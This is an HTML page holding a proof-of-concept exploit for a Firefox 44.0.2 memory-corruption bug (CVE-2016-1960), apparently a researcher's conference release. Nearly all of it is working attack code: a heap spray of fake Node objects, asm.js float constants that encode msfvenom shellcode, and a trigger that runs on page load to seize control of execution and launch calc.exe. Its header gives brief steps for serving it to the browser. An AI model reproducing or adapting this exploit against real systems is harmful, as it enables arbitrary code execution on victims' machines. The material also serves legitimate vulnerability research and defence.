|
<!DOCTYPE HTML> <!-- FULL ASLR AND DEP BYPASS USING ASM.JS JIT SPRAY (CVE-2017-5375) *PoC* Exploit against Firefox 44.0.2 (CVE-2016-1960) ASM.JS float constant pool JIT-Spray special shown at OffensiveCon 2018 Tested on: Firefox 44.0.2 32-bit - Windows 10 1709 https://ftp.mozilla.org/pub/firefox/releases/44.0.2/win32/en-US/Firefox%20Setup%2044.0.2.exe Howto: 1) serve PoC over network and open it in Firefox 44.0.2 32-bit 2) A successfull exploit attempt should pop calc.exe Mozilla Bug Report: https://bugzilla.mozilla.org/show_bug.cgi?id=1246014 Writeup: https://rh0dev.github.io/blog/2018/more-on-asm-dot-js-payloads-and-exploitation/ - For research purposes only - (C) Rh0 Mar. 13, 2018 Notes: *) very similar to CVE-2016-2819, but still different: *) this PoC (CVE-2016-1960) does trigger in 44.0.2 but not in 46.0.1 because in 46.0.1 it is already fixed. *) CVE-2016-2819 does trigger the same bug in 44.0.2 and 46.0.1 because it was fixed in Firefox > 46.0.1 --> <title>CVE-2016-1960 and ASM.JS JIT-Spray</title> <head> <meta charset=UTF-8 /> <script> "use strict" var Exploit = function(){ this.asmjs = new Asmjs() this.heap = new Heap() } Exploit.prototype.go = function(){ /* target address of fake node object */ var node_target_addr = 0x20200000 /* target address of asm.js float pool payload*/ var target_eip = 0x3c3c1dc8 /* spray fake Node objects */ this.heap.spray(node_target_addr, target_eip) /* spray asm.js float constant pools */ this.asmjs.spray_float_payload(0x1800) /* go! */ this.trigger_vuln(node_target_addr) }; Exploit.prototype.trigger_vuln = function(node_ptr){ document.body.innerHTML = '<table><svg><div id="AAAA">' this.heap.gc() var a = new Array() for (var i=0; i < 0x11000; i++){ /* array element (Node object ptr) control with integer underflow */ a[i] = new Uint32Array(0x100/4) for (var j=0; j<0x100/4; j++) a[i][j] = node_ptr } /* original crashing testcase document.getElementById('AAAA').innerHTML = '<title><template><td><tr><title><i></tr><style>td</style>'; */ /* easier to exploit codepath */ document.getElementById('AAAA').innerHTML = '<title><template><td><tr><title><i></tr><style>td<DD>'; window.location.reload() }; var Asmjs = function(){}; Asmjs.prototype.asm_js_module = function(stdlib, ffi){ "use asm" var foo = ffi.foo function payload(){ var val = 0.0 /* Fx 44.0.2 float constant pool of size 0xc0 is at 0xXXXX1dc8*/ val = +foo( // $ msfvenom --payload windows/exec CMD=calc.exe # transformed with sc2asmjs.py -1.587865768352248e-263, -8.692422460804815e-255, 7.529882109376901e-114, 2.0120602207293977e-16, 3.7204662687249914e-242, 4.351158092040946e+89, 2.284741716118451e+270, 7.620699014501263e-153, 5.996021286047645e+44, -5.981935902612295e-92, 6.23540918304361e+259, 1.9227873281657598e+256, 2.0672493951546363e+187, -6.971032919585734e+91, 5.651413300798281e-134, -1.9040061366251406e+305, -1.2687640718807038e-241, 9.697849844423e-310, -2.0571400761625145e+306, -1.1777948610587587e-123, 2.708909852013898e+289, 3.591750823735296e+37, -1.7960516725035723e+106, 6.326776523166028e+180 ) return +val; } return payload }; Asmjs.prototype.spray_float_payload = function(regions){ this.modules = new Array(regions).fill(null).map( region => this.asm_js_module(window, {foo: () => 0}) ) }; var Heap = function(target_addr, eip){ this.node_heap = [] }; Heap.prototype.spray = function(node_target_addr, target_eip){ var junk = 0x13371337 var current_address = 0x08000000 var block_size = 0x1000000 while(current_address < node_target_addr){ var fake_objects = new Uint32Array(block_size/4 - 0x100) for (var offset = 0; offset < block_size; offset += 0x100000){ /* target Node object needed to control EIP */ fake_objects[offset/4 + 0x00/4] = 0x29 fake_objects[offset/4 + 0x0c/4] = 3 fake_objects[offset/4 + 0x14/4] = node_target_addr + 0x18 fake_objects[offset/4 + 0x18/4] = 1 fake_objects[offset/4 + 0x1c/4] = junk fake_objects[offset/4 + 0x20/4] = node_target_addr + 0x24 fake_objects[offset/4 + 0x24/4] = node_target_addr + 0x28 fake_objects[offset/4 + 0x28/4] = node_target_addr + 0x2c fake_objects[offset/4 + 0x2c/4] = target_eip } this.node_heap.push(fake_objects) current_address += block_size } }; Heap.prototype.gc = function(){ for (var i=0; i<=10; i++) var x = new ArrayBuffer(0x1000000) }; </script> <head> <body onload='exploit = new Exploit(); exploit.go()' />
|
|
|